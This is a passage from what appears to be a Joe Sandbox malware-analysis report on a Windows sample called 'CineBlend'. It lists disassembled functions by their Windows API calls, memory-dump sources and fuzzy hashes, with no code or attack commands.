                                  • Instruction ID: 46c915525d4a6f5e4505907f49bfab3738d0a02535b3a689af54cbdcf55b5263
                                  • Opcode Fuzzy Hash: 63c15e1e843d319bb35fdad17538461fa16a53b96a065b75fdaf9c8abcc1355d
                                  • Instruction Fuzzy Hash: 3F218274518309AFDB20AF24DC44A9A77E8FF56320F204AA9FCA5E71D0D7729841DB50
                                  Function 00BA0F4E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetStdHandle.KERNEL32(000000F6), ref: 00BA0F6D
                                  • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00BA0FA8
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CreateHandlePipe
                                  • String ID: nul
                                  • API String ID: 1424370930-2873401336
                                  • Opcode ID: 9f3c4cbedbb6fa65865bceb1e2172999f2a55fd86b94d4ba61052067466658b8
                                  • Instruction ID: a9ba025e59baf7ed2f48f59abb1196b20f27fcd39d9df004fee228a3b7f54365
                                  • Opcode Fuzzy Hash: 9f3c4cbedbb6fa65865bceb1e2172999f2a55fd86b94d4ba61052067466658b8
                                  • Instruction Fuzzy Hash: 6F21A475508345DFDB309F68CC44A9AB7E8FF56720F200AAAF9A1E72D0DB719881DB50
                                  Function 00BC4B4B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B37873: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00B378B1
                                    • Part of subcall function 00B37873: GetStockObject.GDI32(00000011), ref: 00B378C5
                                    • Part of subcall function 00B37873: SendMessageW.USER32(00000000,00000030,00000000), ref: 00B378CF
                                  • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00BC4BB0
                                  • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00BC4BBD
                                  • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00BC4BC8
                                  • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00BC4BD7
                                  • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00BC4BE3
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend$CreateObjectStockWindow
                                  • String ID: Msctls_Progress32
                                  • API String ID: 1025951953-3636473452
                                  • Opcode ID: 596d8351bcf49dd7f01efbf43cc9e0bc4843ed86ba55f866d84a70a1bd7657f8
                                  • Instruction ID: 16b0d4de6b13d48a8ec9c64ac48e49294dee42dab5ce6db821484175448c5967
                                  • Opcode Fuzzy Hash: 596d8351bcf49dd7f01efbf43cc9e0bc4843ed86ba55f866d84a70a1bd7657f8
                                  • Instruction Fuzzy Hash: 9B1151B6550219BEEF119E65CC85FEB7FADEF08758F014111B618A60A0CB72DC21DBA4
                                  Function 00B6DB5F Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B6DB23: _free.LIBCMT ref: 00B6DB4C
                                  • _free.LIBCMT ref: 00B6DBAD
                                    • Part of subcall function 00B62D38: RtlFreeHeap.NTDLL(00000000,00000000,?,00B6DB51,?,00000000,?,00000000,?,00B6DB78,?,00000007,?,?,00B6DF75,?), ref: 00B62D4E
                                    • Part of subcall function 00B62D38: GetLastError.KERNEL32(?,?,00B6DB51,?,00000000,?,00000000,?,00B6DB78,?,00000007,?,?,00B6DF75,?,?), ref: 00B62D60
                                  • _free.LIBCMT ref: 00B6DBB8
                                  • _free.LIBCMT ref: 00B6DBC3
                                  • _free.LIBCMT ref: 00B6DC17
                                  • _free.LIBCMT ref: 00B6DC22
                                  • _free.LIBCMT ref: 00B6DC2D
                                  • _free.LIBCMT ref: 00B6DC38
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _free$ErrorFreeHeapLast
                                  • String ID:
                                  • API String ID: 776569668-0
                                  • Opcode ID: 98b13fc91f4fe31fecb0273d364a71dd69e1171f55120a532e903f65f4669862
                                  • Instruction ID: 78aaf91b24947606e3b93d16d9dbe970f773f9e40a516d5ccbddd9ffc23053d8
                                  • Opcode Fuzzy Hash: 98b13fc91f4fe31fecb0273d364a71dd69e1171f55120a532e903f65f4669862
                                  • Instruction Fuzzy Hash: 54113072A41B04BAE620BBB0CC07FDB77DCAF15700F454CE9B299EA252DA7DB5058750
                                  Function 00B9E30E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00B9E328
                                  • LoadStringW.USER32(00000000), ref: 00B9E32F
                                  • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00B9E345
                                  • LoadStringW.USER32(00000000), ref: 00B9E34C
                                  • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00B9E390
                                  Strings
                                  • %s (%d) : ==> %s: %s %s, xrefs: 00B9E36D
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: HandleLoadModuleString$Message
                                  • String ID: %s (%d) : ==> %s: %s %s
                                  • API String ID: 4072794657-3128320259
                                  • Opcode ID: 825b234e8c28009d49c9e006e78b8bac22cb24401368ecd0783eef75cf6fabb2
                                  • Instruction ID: bb27c75aada52019551243de0e03619d6fdbad57795d06c5c679026b848214f0
                                  • Opcode Fuzzy Hash: 825b234e8c28009d49c9e006e78b8bac22cb24401368ecd0783eef75cf6fabb2
                                  • Instruction Fuzzy Hash: 44014FF69002087BE71197A48D89EE677ACD70C744F0045B1B705E7051EA749E848B75
                                  Function 00BA1312 Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON
                                  Download Yara Rule
                                  APIs
                                  • InterlockedExchange.KERNEL32(?,?), ref: 00BA1322
                                  • EnterCriticalSection.KERNEL32(00000000,?), ref: 00BA1334
                                  • TerminateThread.KERNEL32(00000000,000001F6), ref: 00BA1342
                                  • WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00BA1350
                                  • CloseHandle.KERNEL32(00000000), ref: 00BA135F
                                  • InterlockedExchange.KERNEL32(?,000001F6), ref: 00BA136F
                                  • LeaveCriticalSection.KERNEL32(00000000), ref: 00BA1376
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                  • String ID:
                                  • API String ID: 3495660284-0
                                  • Opcode ID: 96240bdeb992f3a71b7398abac7f6e44db71adf74200e9b8d98c852557588a90
                                  • Instruction ID: 597406d6ffbb60c0bcdf1eb658f11d05ba163cfdeb8a83d8490e28e6a749cbe6
                                  • Opcode Fuzzy Hash: 96240bdeb992f3a71b7398abac7f6e44db71adf74200e9b8d98c852557588a90
                                  • Instruction Fuzzy Hash: 9BF0EC36046612BBD7415F54EE49FD6BB79FF49302F401531F102968A0CB749472CF94
                                  Function 00BB26BD Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON
                                  Download Yara Rule
                                  APIs
                                  • __WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00BB281D
                                  • #17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00BB283E
                                  • WSAGetLastError.WSOCK32 ref: 00BB284F
                                  • htons.WSOCK32(?,?,?,?,?), ref: 00BB2938
                                  • inet_ntoa.WSOCK32(?), ref: 00BB28E9
                                    • Part of subcall function 00B9433E: _strlen.LIBCMT ref: 00B94348
                                    • Part of subcall function 00BB3C81: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,00BAF669), ref: 00BB3C9D
                                  • _strlen.LIBCMT ref: 00BB2992
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
                                  • String ID:
                                  • API String ID: 3203458085-0
                                  • Opcode ID: f42f68ebba10de3d5da2ab22f3507bf31679d50601195937dea6a8f6b7425aaa
                                  • Instruction ID: d52ada737355c95517ad2283753e804ea8815356f38d85f9c221006bf60aa6e6
                                  • Opcode Fuzzy Hash: f42f68ebba10de3d5da2ab22f3507bf31679d50601195937dea6a8f6b7425aaa
                                  • Instruction Fuzzy Hash: 75B1CF35604300AFD324DF24C885F6ABBE5EF84318F64899CF49A5B2A2DB71ED45CB91
                                  Function 00B60527 Relevance: 9.3, APIs: 6, Instructions: 269COMMON
                                  Download Yara Rule
                                  APIs
                                  • __allrem.LIBCMT ref: 00B6042A
                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B60446
                                  • __allrem.LIBCMT ref: 00B6045D
                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B6047B
                                  • __allrem.LIBCMT ref: 00B60492
                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B604B0
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                  • String ID:
                                  • API String ID: 1992179935-0
                                  • Opcode ID: 675459f4f124bd2af17bf05e9c9e87198950a75667ee82f7844c946ca9c63f73
                                  • Instruction ID: ae67b0e4ffa14f9efbff6e8f8becde8f13640724575abf8632081430cc4cea19
                                  • Opcode Fuzzy Hash: 675459f4f124bd2af17bf05e9c9e87198950a75667ee82f7844c946ca9c63f73
                                  • Instruction Fuzzy Hash: 4D81E472A107069BE720BF6ACC81B6B73F9EF54320F2445AAF515D7381EB78D9008794
                                  Function 00B66571 Relevance: 9.2, APIs: 6, Instructions: 216COMMON
                                  Download Yara Rule
                                  APIs
                                  • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00B58649,00B58649,?,?,?,00B667C2,00000001,00000001,8BE85006), ref: 00B665CB
                                  • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00B667C2,00000001,00000001,8BE85006,?,?,?), ref: 00B66651
                                  • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00B6674B
                                  • __freea.LIBCMT ref: 00B66758
                                    • Part of subcall function 00B63B93: RtlAllocateHeap.NTDLL(00000000,?,?,?,00B50165,?,?,00BA11D9,0000FFFF), ref: 00B63BC5
                                  • __freea.LIBCMT ref: 00B66761
                                  • __freea.LIBCMT ref: 00B66786
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ByteCharMultiWide__freea$AllocateHeap
                                  • String ID:
                                  • API String ID: 1414292761-0
                                  • Opcode ID: 2e1e7f490cacaea6b61dfbe1d1dec74ed097c945d32b25e4ec50fdf0712a2e52
                                  • Instruction ID: 75204dd26683eb77f15308ff82fb5a799cf6d8d4082af9f174bbe839e483b118
                                  • Opcode Fuzzy Hash: 2e1e7f490cacaea6b61dfbe1d1dec74ed097c945d32b25e4ec50fdf0712a2e52
                                  • Instruction Fuzzy Hash: D151F47261021AAFEB258F64CC85EBB77EAEF44714F1546A9FC19D7140EB38EC50C6A0
                                  Function 00BBC63B Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3B329: _wcslen.LIBCMT ref: 00B3B333
                                    • Part of subcall function 00BBD3F8: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00BBC10E,?,?), ref: 00BBD415
                                    • Part of subcall function 00BBD3F8: _wcslen.LIBCMT ref: 00BBD451
                                    • Part of subcall function 00BBD3F8: _wcslen.LIBCMT ref: 00BBD4C8
                                    • Part of subcall function 00BBD3F8: _wcslen.LIBCMT ref: 00BBD4FE
                                  • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00BBC72A
                                  • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00BBC785
                                  • RegCloseKey.ADVAPI32(00000000), ref: 00BBC7CA
                                  • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00BBC7F9
                                  • RegCloseKey.ADVAPI32(?,?,00000000), ref: 00BBC853
                                  • RegCloseKey.ADVAPI32(?), ref: 00BBC85F
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
                                  • String ID:
                                  • API String ID: 1120388591-0
                                  • Opcode ID: 2afcd8fb0535bd415ee8d7d7d67a6f911b476c17d01eb5571bcb6e6ad23b7578
                                  • Instruction ID: e2422e833c827788d49fab3ff64b4dd81f6c12368b105858bd1575446c596d5e
                                  • Opcode Fuzzy Hash: 2afcd8fb0535bd415ee8d7d7d67a6f911b476c17d01eb5571bcb6e6ad23b7578
                                  • Instruction Fuzzy Hash: E381AD75208241AFC714DF24C895E7ABBE5FF84308F1489ACF5598B2A2DB71ED05CB92
                                  Function 00B9009D Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • VariantInit.OLEAUT32(00000035), ref: 00B900A9
                                  • SysAllocString.OLEAUT32(00000000), ref: 00B90150
                                  • VariantCopy.OLEAUT32(00B90354,00000000), ref: 00B90179
                                  • VariantClear.OLEAUT32(00B90354), ref: 00B9019D
                                  • VariantCopy.OLEAUT32(00B90354,00000000), ref: 00B901A1
                                  • VariantClear.OLEAUT32(?), ref: 00B901AB
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Variant$ClearCopy$AllocInitString
                                  • String ID:
                                  • API String ID: 3859894641-0
                                  • Opcode ID: 0e710c87f7ff34997ab21ff26cafaf73524efaf010880277654a103940431ae5
                                  • Instruction ID: 172a6a30555c1adaf9f6cbd42d0c715f9e2d392b74062a8a3a371e53d7e4274a
                                  • Opcode Fuzzy Hash: 0e710c87f7ff34997ab21ff26cafaf73524efaf010880277654a103940431ae5
                                  • Instruction Fuzzy Hash: 3F51C535620314AECF24BB6498C9B29B3E5EF55310F2484E6F906EF296DB709C44CB56
                                  Function 00BA9B51 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B341EA: _wcslen.LIBCMT ref: 00B341EF
                                    • Part of subcall function 00B38577: _wcslen.LIBCMT ref: 00B3858A
                                  • GetOpenFileNameW.COMDLG32(00000058), ref: 00BA9F2A
                                  • _wcslen.LIBCMT ref: 00BA9F4B
                                  • _wcslen.LIBCMT ref: 00BA9F72
                                  • GetSaveFileNameW.COMDLG32(00000058), ref: 00BA9FCA
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _wcslen$FileName$OpenSave
                                  • String ID: X
                                  • API String ID: 83654149-3081909835
                                  • Opcode ID: 7d5f5f3462ff0711082a4d738e1538b957191cb141f1427ed3a7bd1210a299ef
                                  • Instruction ID: 9a6ac2cc657f36663f120aabd25516553c2b7b0944de8ec11ad381a28e6615d9
                                  • Opcode Fuzzy Hash: 7d5f5f3462ff0711082a4d738e1538b957191cb141f1427ed3a7bd1210a299ef
                                  • Instruction Fuzzy Hash: 89E171315083409FD724EF24C881B6AB7E5FF85314F1489ADF9899B2A2DB31ED45CB92
                                  Function 00BA6ED3 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON
                                  Download Yara Rule
                                  APIs
                                  • _wcslen.LIBCMT ref: 00BA6F21
                                  • CoInitialize.OLE32(00000000), ref: 00BA707E
                                  • CoCreateInstance.OLE32(00BD0CC4,00000000,00000001,00BD0B34,?), ref: 00BA7095
                                  • CoUninitialize.OLE32 ref: 00BA7319
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CreateInitializeInstanceUninitialize_wcslen
                                  • String ID: .lnk
                                  • API String ID: 886957087-24824748
                                  • Opcode ID: 101563ae050cdb73dc73832e576737b8dfb29c99eee00564bdd247dc99bcbcd4
                                  • Instruction ID: 064fbab18f118ba567c39edbc9eea61f4b5a36a2623e0cffa2f65a6ec80e2a7e
                                  • Opcode Fuzzy Hash: 101563ae050cdb73dc73832e576737b8dfb29c99eee00564bdd247dc99bcbcd4
                                  • Instruction Fuzzy Hash: 06D13871508301AFC314EF24C881E6BB7E8FF99704F5049ADF5958B2A2DB71E949CB92
                                  Function 00B31B00 Relevance: 9.1, APIs: 6, Instructions: 113COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00B324B0
                                  • BeginPaint.USER32(?,?,?), ref: 00B31B35
                                  • GetWindowRect.USER32(?,?), ref: 00B31B99
                                  • ScreenToClient.USER32(?,?), ref: 00B31BB6
                                  • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00B31BC7
                                  • EndPaint.USER32(?,?,?,?,?), ref: 00B31C15
                                  • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00B73287
                                    • Part of subcall function 00B31C2D: BeginPath.GDI32(00000000), ref: 00B31C4B
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
                                  • String ID:
                                  • API String ID: 3050599898-0
                                  • Opcode ID: 4dac0f1ba88a949770e63ec209f184c4b71934dc7f3d0a30a7c944a8d5c8ca14
                                  • Instruction ID: 11b47c419384139b29188c10a9ad8b3066268a2728c323c50ccfa6ab8b3c11b6
                                  • Opcode Fuzzy Hash: 4dac0f1ba88a949770e63ec209f184c4b71934dc7f3d0a30a7c944a8d5c8ca14
                                  • Instruction Fuzzy Hash: D841B370105300AFDB10DF18DC89F7A7BE8EB49724F140AA9F9698B2A1C7319945DB61
                                  Function 00BC8C36 Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,00B8FBEF,00000000,?,?,00000000,?,00B739E2,00000004,00000000,00000000), ref: 00BC8CA7
                                  • EnableWindow.USER32(?,00000000), ref: 00BC8CCD
                                  • ShowWindow.USER32(FFFFFFFF,00000000), ref: 00BC8D2C
                                  • ShowWindow.USER32(?,00000004), ref: 00BC8D40
                                  • EnableWindow.USER32(?,00000001), ref: 00BC8D66
                                  • SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00BC8D8A
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$Show$Enable$MessageSend
                                  • String ID:
                                  • API String ID: 642888154-0
                                  • Opcode ID: d98c15d4c090936661811a28c31191f2d40bb2a22a5e3a6f2f2a55f009b91fb2
